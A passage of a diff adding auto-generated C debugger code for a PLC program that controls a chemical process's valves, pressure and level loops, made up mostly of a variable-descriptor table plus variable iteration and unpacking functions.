+{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = 